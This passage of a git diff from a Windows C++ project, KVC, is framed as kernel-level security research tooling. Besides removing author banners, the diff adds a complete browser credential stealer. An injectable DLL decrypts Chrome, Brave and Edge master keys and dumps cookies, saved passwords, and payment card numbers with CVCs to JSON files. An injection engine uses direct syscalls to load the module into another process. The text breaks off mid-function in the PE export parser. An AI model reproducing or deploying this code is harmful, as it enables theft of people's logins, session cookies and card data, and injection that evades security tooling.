penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerProcessOperations.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp index cab2b1a..5a9bc78 100644 --- a/kvc/ControllerSystemIntegration.cpp +++ b/kvc/ControllerSystemIntegration.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerSystemIntegration.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/CryptCore.cpp b/kvc/CryptCore.cpp new file mode 100644 index 0000000..05d7ab8 --- /dev/null +++ b/kvc/CryptCore.cpp @@ -0,0 +1,232 @@ +// CryptCore.cpp - Security module entry point and workflow coordination +// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords +#include "CryptCore.h" +#include "BrowserCrypto.h" +#include "DataExtraction.h" +#include "CommunicationModule.h" +#include "SelfLoader.h" +#include +#include + +namespace SecurityComponents +{ + // Initializes security orchestrator and establishes pipe communication + SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName) + { + m_logger.emplace(lpcwstrPipeName); + + if (!m_logger->isValid()) + { + throw std::runtime_error("Failed to connect to named pipe from orchestrator."); + } + ReadPipeParameters(); + } + + // Main execution workflow: decrypt keys, enumerate profiles, extract data + void SecurityOrchestrator::Run() + { + BrowserManager browserManager; + const auto& browserConfig = browserManager.getConfig(); + m_logger->Log("[*] Security analysis process started for " + browserConfig.name); + + std::vector comKey, dpapiKey; + fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; + + // Edge requires split-key strategy: different keys for different data types + if (browserConfig.name == "Edge") + { + m_logger->Log("[*] Initializing split-phase strategy for Edge"); + + // Phase 1: COM elevation for cookies and payment data + try { + m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)"); + MasterKeyDecryptor comDecryptor(*m_logger); + comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies); + m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey)); + } catch (const std::exception& e) { + m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what())); + throw; + } + + // Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords + if (!m_edgeDpapiKey.empty()) + { + m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator"); + dpapiKey = m_edgeDpapiKey; + m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey)); + } + else + { + m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted"); + dpapiKey = comKey; + } + } + else + { + // Chrome/Brave use single COM-elevated key for all data types + m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name); + MasterKeyDecryptor keyDecryptor(*m_logger); + comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All); + dpapiKey = comKey; + m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey)); + } + + // Enumerate all browser profiles + ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger); + auto profilePaths = enumerator.FindProfiles(); + m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)"); + + // Extract data from each profile + for (const auto& profilePath : profilePaths) + { + m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); + + for (const auto& dataConfig : Data::GetExtractionConfigs()) + { + // Select appropriate key based on data type and browser + const std::vector* extractionKey = &comKey; + std::string keyType = "COM"; + + if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords") + { + extractionKey = &dpapiKey; + keyType = "DPAPI"; + } + + m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction"); + + try { + DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger, + m_outputPath, browserConfig.name); + extractor.Extract(); + } catch (const std::exception& e) { + m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " + + std::string(e.what())); + } + } + } + + m_logger->Log("[*] Security analysis process finished successfully"); + } + + // Reads configuration parameters from orchestrator via named pipe + void SecurityOrchestrator::ReadPipeParameters() + { + char buffer[1024] = {0}; + DWORD bytesRead = 0; + + // Read verbose flag + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read verbose flag from pipe"); + return; + } + + // Read output path + memset(buffer, 0, sizeof(buffer)); + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read output path from pipe"); + return; + } + buffer[bytesRead] = '\0'; + m_outputPath = buffer; + m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath)); + + // Read DPAPI key (Edge only) + memset(buffer, 0, sizeof(buffer)); + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read DPAPI key from pipe"); + return; + } + buffer[bytesRead] = '\0'; + + // Parse DPAPI key message + try { + std::string dpapiKeyMsg(buffer); + + if (dpapiKeyMsg.find("DPAPI_KEY:") == 0) + { + std::string hexKey = dpapiKeyMsg.substr(10); + + if (hexKey != "NONE" && hexKey.length() >= 64) + { + m_edgeDpapiKey.resize(32); + for (size_t i = 0; i < 32; ++i) + { + std::string byteStr = hexKey.substr(i * 2, 2); + unsigned long byte = std::stoul(byteStr, nullptr, 16); + m_edgeDpapiKey[i] = static_cast(byte); + } + m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " + + std::to_string(m_edgeDpapiKey.size()) + " bytes"); + } + else + { + m_logger->Log("[*] No DPAPI key from orchestrator"); + } + } + else + { + m_logger->Log("[-] Invalid DPAPI key message format"); + } + } + catch (const std::exception& e) + { + m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what())); + } + } +} + +// Security module worker thread entry point +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) +{ + auto thread_params = std::unique_ptr(static_cast(lpParam)); + + try + { + SecurityComponents::SecurityOrchestrator orchestrator( + static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + orchestrator.Run(); + } + catch (const std::exception& e) + { + try + { + SecurityComponents::PipeLogger errorLogger( + static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + if (errorLogger.isValid()) + { + errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); + } + } + catch (...) {} + } + + FreeLibraryAndExitThread(thread_params->hModule_dll, 0); + return 0; +} + +// DLL entry point - creates worker thread for asynchronous execution +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(hModule); + + auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; + if (!params) return TRUE; + + HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); + if (hThread) + { + CloseHandle(hThread); + } + else + { + delete params; + } + } + return TRUE; +} \ No newline at end of file diff --git a/kvc/CryptCore.h b/kvc/CryptCore.h new file mode 100644 index 0000000..f15b2cc --- /dev/null +++ b/kvc/CryptCore.h @@ -0,0 +1,44 @@ +// CryptCore.h - Main security module orchestration +#ifndef CRYPT_CORE_H +#define CRYPT_CORE_H + +#include +#include +#include +#include +#include "CommunicationModule.h" + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + // Main orchestrator coordinating the entire extraction workflow + class SecurityOrchestrator + { + public: + explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName); + + // Executes full analysis: key decryption, profile enumeration, data extraction + void Run(); + + private: + // Reads configuration parameters from orchestrator via pipe + void ReadPipeParameters(); + + std::optional m_logger; // ZMIEŃ na optional + fs::path m_outputPath; + std::vector m_edgeDpapiKey; + }; +} + +// Thread parameters passed to worker thread +struct ModuleThreadParams +{ + HMODULE hModule_dll; + LPVOID lpPipeNamePointerFromOrchestrator; +}; + +// Main worker thread executing security analysis +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam); + +#endif // CRYPT_CORE_H \ No newline at end of file diff --git a/kvc/DataExtraction.cpp b/kvc/DataExtraction.cpp new file mode 100644 index 0000000..ab0f46f --- /dev/null +++ b/kvc/DataExtraction.cpp @@ -0,0 +1,240 @@ +// DataExtraction.cpp - Profile discovery and database extraction +#include "DataExtraction.h" +#include "BrowserCrypto.h" +#include "CommunicationModule.h" +#include +#include +#include + +namespace SecurityComponents +{ + namespace Data + { + // Pre-loads CVC data for payment card processing + std::shared_ptr>> SetupPaymentCards(sqlite3* db) + { + auto cvcMap = std::make_shared>>(); + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) + return cvcMap; + + while (sqlite3_step(stmt) == SQLITE_ROW) + { + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); + if (guid && blob) + (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; + } + sqlite3_finalize(stmt); + return cvcMap; + } + + // Formats cookie row into JSON + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); + if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) + return std::nullopt; + + const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; + size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; + + std::ostringstream json_entry; + json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" + << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" + << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" + << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" + << ",\"expires\":" << sqlite3_column_int64(stmt, 5) + << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") + << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") + << "}"; + return json_entry.str(); + } + + // Formats password row into JSON + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); + return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + + "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; + } + + // Formats payment card row into JSON + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + auto cvcMap = reinterpret_cast>>*>(state); + std::string card_num_str, cvc_str; + + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); + if (blob) + { + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); + card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + if (guid && cvcMap && (*cvcMap)->count(guid)) + { + auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); + cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + + ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + + ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + + "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; + } + + // Returns all extraction configurations + const std::vector& GetExtractionConfigs() + { + static const std::vector configs = { + {fs::path("Network") / "Cookies", "cookies", + "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", + nullptr, FormatCookie}, + + {"Login Data", "passwords", + "SELECT origin_url, username_value, password_value FROM logins;", + nullptr, FormatPassword}, + + {"Web Data", "payments", + "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", + SetupPaymentCards, FormatPayment} + }; + return configs; + } + } + + // ProfileEnumerator implementation + ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) + : m_userDataRoot(userDataRoot), m_logger(logger) {} + + std::vector ProfileEnumerator::FindProfiles() + { + m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); + std::vector profilePaths; + + auto isProfileDirectory = [](const fs::path& path) + { + for (const auto& dataCfg : Data::GetExtractionConfigs()) + { + if (fs::exists(path / dataCfg.dbRelativePath)) + return true; + } + return false; + }; + + if (isProfileDirectory(m_userDataRoot)) + { + profilePaths.push_back(m_userDataRoot); + } + + std::error_code ec; + for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) + { + if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) + { + profilePaths.push_back(entry.path()); + } + } + + if (ec) + { + m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); + } + + std::sort(profilePaths.begin(), profilePaths.end()); + profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); + + m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); + return profilePaths; + } + + // DataExtractor implementation + DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName) + : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), + m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} + + void DataExtractor::Extract() + { + fs::path dbPath = m_profilePath / m_config.dbRelativePath; + if (!fs::exists(dbPath)) + return; + + sqlite3* db = nullptr; + std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; + std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); + + if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) + { + m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + + ": " + (db ? sqlite3_errmsg(db) : "N/A")); + if (db) sqlite3_close_v2(db); + return; + } + + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK) + { + sqlite3_close_v2(db); + return; + } + + void* preQueryState = nullptr; + std::shared_ptr>> cvcMap; + if (m_config.preQuerySetup) + { + cvcMap = m_config.preQuerySetup(db); + preQueryState = &cvcMap; + } + + std::vector jsonEntries; + while (sqlite3_step(stmt) == SQLITE_ROW) + { + if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) + { + jsonEntries.push_back(*jsonEntry); + } + } + + sqlite3_finalize(stmt); + sqlite3_close_v2(db); + + if (!jsonEntries.empty()) + { + fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / + (m_config.outputFileName + ".json"); + + std::error_code ec; + fs::create_directories(outFilePath.parent_path(), ec); + if (ec) + { + m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); + return; + } + + std::ofstream out(outFilePath, std::ios::trunc); + if (!out) return; + + out << "[\n"; + for (size_t i = 0; i < jsonEntries.size(); ++i) + { + out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); + } + out << "\n]\n"; + + m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + + " extracted to " + StringUtils::path_to_string(outFilePath)); + } + } +} \ No newline at end of file diff --git a/kvc/DataExtraction.h b/kvc/DataExtraction.h new file mode 100644 index 0000000..e7b755f --- /dev/null +++ b/kvc/DataExtraction.h @@ -0,0 +1,83 @@ +// DataExtraction.h - Database extraction and profile enumeration +#ifndef DATA_EXTRACTION_H +#define DATA_EXTRACTION_H + +#include +#include +#include +#include +#include +#include +#include "winsqlite3.h" + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + class PipeLogger; + + // Data extraction configuration and operations + namespace Data + { + constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; + + typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); + typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); + + struct ExtractionConfig + { + fs::path dbRelativePath; + std::string outputFileName; + std::string sqlQuery; + PreQuerySetupFunc preQuerySetup; + JsonFormatterFunc jsonFormatter; + }; + + // Pre-query setup function for payment cards + std::shared_ptr>> SetupPaymentCards(sqlite3* db); + + // JSON formatters for different data types + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state); + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state); + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state); + + // Returns all extraction configurations + const std::vector& GetExtractionConfigs(); + } + + // Discovers all available browser profiles + class ProfileEnumerator + { + public: + ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger); + + // Returns paths to all valid profile directories + std::vector FindProfiles(); + + private: + fs::path m_userDataRoot; + PipeLogger& m_logger; + }; + + // Extracts data from a specific database within a profile + class DataExtractor + { + public: + DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName); + + // Performs extraction for configured data type + void Extract(); + + private: + fs::path m_profilePath; + const Data::ExtractionConfig& m_config; + const std::vector& m_aesKey; + PipeLogger& m_logger; + fs::path m_baseOutputPath; + std::string m_browserName; + }; +} + +#endif // DATA_EXTRACTION_H \ No newline at end of file diff --git a/kvc/DefenderManager.cpp b/kvc/DefenderManager.cpp index df8b8c5..e7eebd0 100644 --- a/kvc/DefenderManager.cpp +++ b/kvc/DefenderManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "DefenderManager.h" #include #include diff --git a/kvc/EdgeDPAPI.cpp b/kvc/EdgeDPAPI.cpp new file mode 100644 index 0000000..7665df9 --- /dev/null +++ b/kvc/EdgeDPAPI.cpp @@ -0,0 +1,74 @@ +// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys +// Implements orchestrator-side password key extraction using Windows DPAPI +#include "EdgeDPAPI.h" +#include +#include +#pragma comment(lib, "Crypt32.lib") + +namespace +{ + // Decodes Base64 string into binary data using Windows Crypto API + std::vector Base64DecodeSimple(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return {}; + + std::vector data(size); + CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr); + return data; + } +} + +// Extracts and decrypts Edge password encryption key from Local State file +// Uses Windows DPAPI to decrypt the key in the orchestrator's security context +// This avoids needing COM elevation for Edge passwords specifically +std::vector DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console) +{ + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + return {}; + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + + // Locate encrypted_key field in JSON + std::string tag = "\"encrypted_key\":\""; + size_t pos = content.find(tag); + if (pos == std::string::npos) + return {}; + + size_t end = content.find('"', pos + tag.length()); + if (end == std::string::npos) + return {}; + + // Decode Base64 encrypted key + std::vector decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length())); + if (decoded.size() < 5) + return {}; + + // Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49) + if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 && + decoded[3] == 0x50 && decoded[4] == 0x49) + { + decoded.erase(decoded.begin(), decoded.begin() + 5); + } + + // Verify DPAPI blob header (0x01 0x00 0x00 0x00) + if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 || + decoded[2] != 0x00 || decoded[3] != 0x00) + return {}; + + // Decrypt using Windows DPAPI + DATA_BLOB inputBlob = { static_cast(decoded.size()), decoded.data() }; + DATA_BLOB outputBlob = {}; + + if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &outputBlob)) + return {}; + + std::vector result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData); + LocalFree(outputBlob.pbData); + + console.Success("Edge DPAPI password key extracted successfully"); + return result; +} \ No newline at end of file diff --git a/kvc/EdgeDPAPI.h b/kvc/EdgeDPAPI.h new file mode 100644 index 0000000..53aae0b --- /dev/null +++ b/kvc/EdgeDPAPI.h @@ -0,0 +1,17 @@ +// EdgeDPAPI.h - DPAPI operations for Edge password key extraction +#ifndef EDGE_DPAPI_H +#define EDGE_DPAPI_H + +#include +#include +#include +#include "CommunicationLayer.h" + +namespace fs = std::filesystem; + +// Extracts and decrypts Edge password encryption key using Windows DPAPI +// This function runs in the orchestrator's context, avoiding the need for +// COM elevation specifically for Edge password decryption +std::vector DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console); + +#endif // EDGE_DPAPI_H \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index e43c45e..893e00c 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include #include "HelpSystem.h" #include diff --git a/kvc/InjectionEngine.cpp b/kvc/InjectionEngine.cpp new file mode 100644 index 0000000..d76bd6b --- /dev/null +++ b/kvc/InjectionEngine.cpp @@ -0,0 +1,157 @@ +// InjectionEngine.cpp - Low-level PE injection and execution +#include "InjectionEngine.h" +#include "syscalls.h" +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +extern std::string g_securityModulePath; + +// Constructor initializes injection context +InjectionManager::InjectionManager(TargetProcess& target, const Console& console) + : m_target(target), m_console(console) {} + +// Main injection workflow execution +void InjectionManager::execute(const std::wstring& pipeName) +{ + m_console.Debug("Loading security module from file: " + g_securityModulePath); + loadSecurityModuleFromFile(g_securityModulePath); + + m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); + DWORD rdiOffset = getInitializeSecurityContextOffset(); + if (rdiOffset == 0) + throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); + m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); + + m_console.Debug("Allocating memory for security module in target process."); + PVOID remoteModuleBase = nullptr; + SIZE_T moduleSize = m_moduleBuffer.size(); + SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); + SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; + + NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, + &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); + m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); + + m_console.Debug("Writing security module to target process memory."); + SIZE_T bytesWritten = 0; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, + m_moduleBuffer.data(), moduleSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Writing pipe name parameter into the same allocation."); + LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, + (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Changing module memory protection to executable."); + ULONG oldProtect = 0; + status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, + &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); + + startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); + m_console.Debug("New thread created for security module. Main thread remains suspended."); +} + +// Reads DLL file into memory buffer +void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath) +{ + if (!fs::exists(modulePath)) + throw std::runtime_error("Security module not found: " + modulePath); + + std::ifstream file(modulePath, std::ios::binary); + if (!file) + throw std::runtime_error("Failed to open security module: " + modulePath); + + file.seekg(0, std::ios::end); + auto fileSize = file.tellg(); + file.seekg(0, std::ios::beg); + + m_moduleBuffer.resize(static_cast(fileSize)); + file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); + + if (!file) + throw std::runtime_error("Failed to read security module: " + modulePath); + + m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); +} + +// Manually parses PE export table to locate entry point +DWORD InjectionManager::getInitializeSecurityContextOffset() +{ + auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (exportDirRva == 0) + return 0; + + // Converts RVA to file offset using section headers + auto RvaToOffset = [&](DWORD rva) -> PVOID + { + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) + { + if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) + { + return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); + } 